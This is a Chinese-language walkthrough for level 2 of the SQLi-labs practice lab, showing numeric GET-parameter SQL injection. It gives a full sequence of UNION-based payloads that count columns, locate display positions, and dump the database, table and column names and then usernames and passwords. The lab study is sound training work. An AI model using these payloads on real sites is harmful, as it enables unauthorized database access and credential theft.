SQLI-labs-第二关

目录

知识点：数字型get注入

 1、在url中输入?id=1 

 2、判断注入点

3、判断目前表的字段数

 4、判断回显位置

 5、爆库名

 6、爆表名

 7、爆字段名，以users表为例

​编辑8、爆值

---

知识点：数字型get注入

思路：

 1、在url中输入?id=1 

 2、判断注入点

输入?id=1'

 爆出数据库语句语法错误，说明这里存在数据库漏洞，后面加了注释符，还是爆出错误，说明不是单引号的错误，可以尝试一下是否为双引号

 单引号和双引号都会报错，那可能是数字型注入

 这里回显正常

 使用and 1=2，数据没有回显出来，说明这里存在数字型注入

3、判断目前表的字段数

?id=1 and 1=1 order by 3--+ ，没有报错

 ?id=1 and 1=1 order by 4--+   报错，说明当前表有3个字段

 4、判断回显位置

?id=1 and 1=2 union select 1,2,3 --+

 5、爆库名

?id=1 and 1=2 union select 1,2,database() --+

 6、爆表名

?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 7、爆字段名，以users表为例

?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

8、爆值

?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

 以此类推，就可以的得到这个数据库所有的值了

---

这篇文章就先写到这里了，欢迎批评指正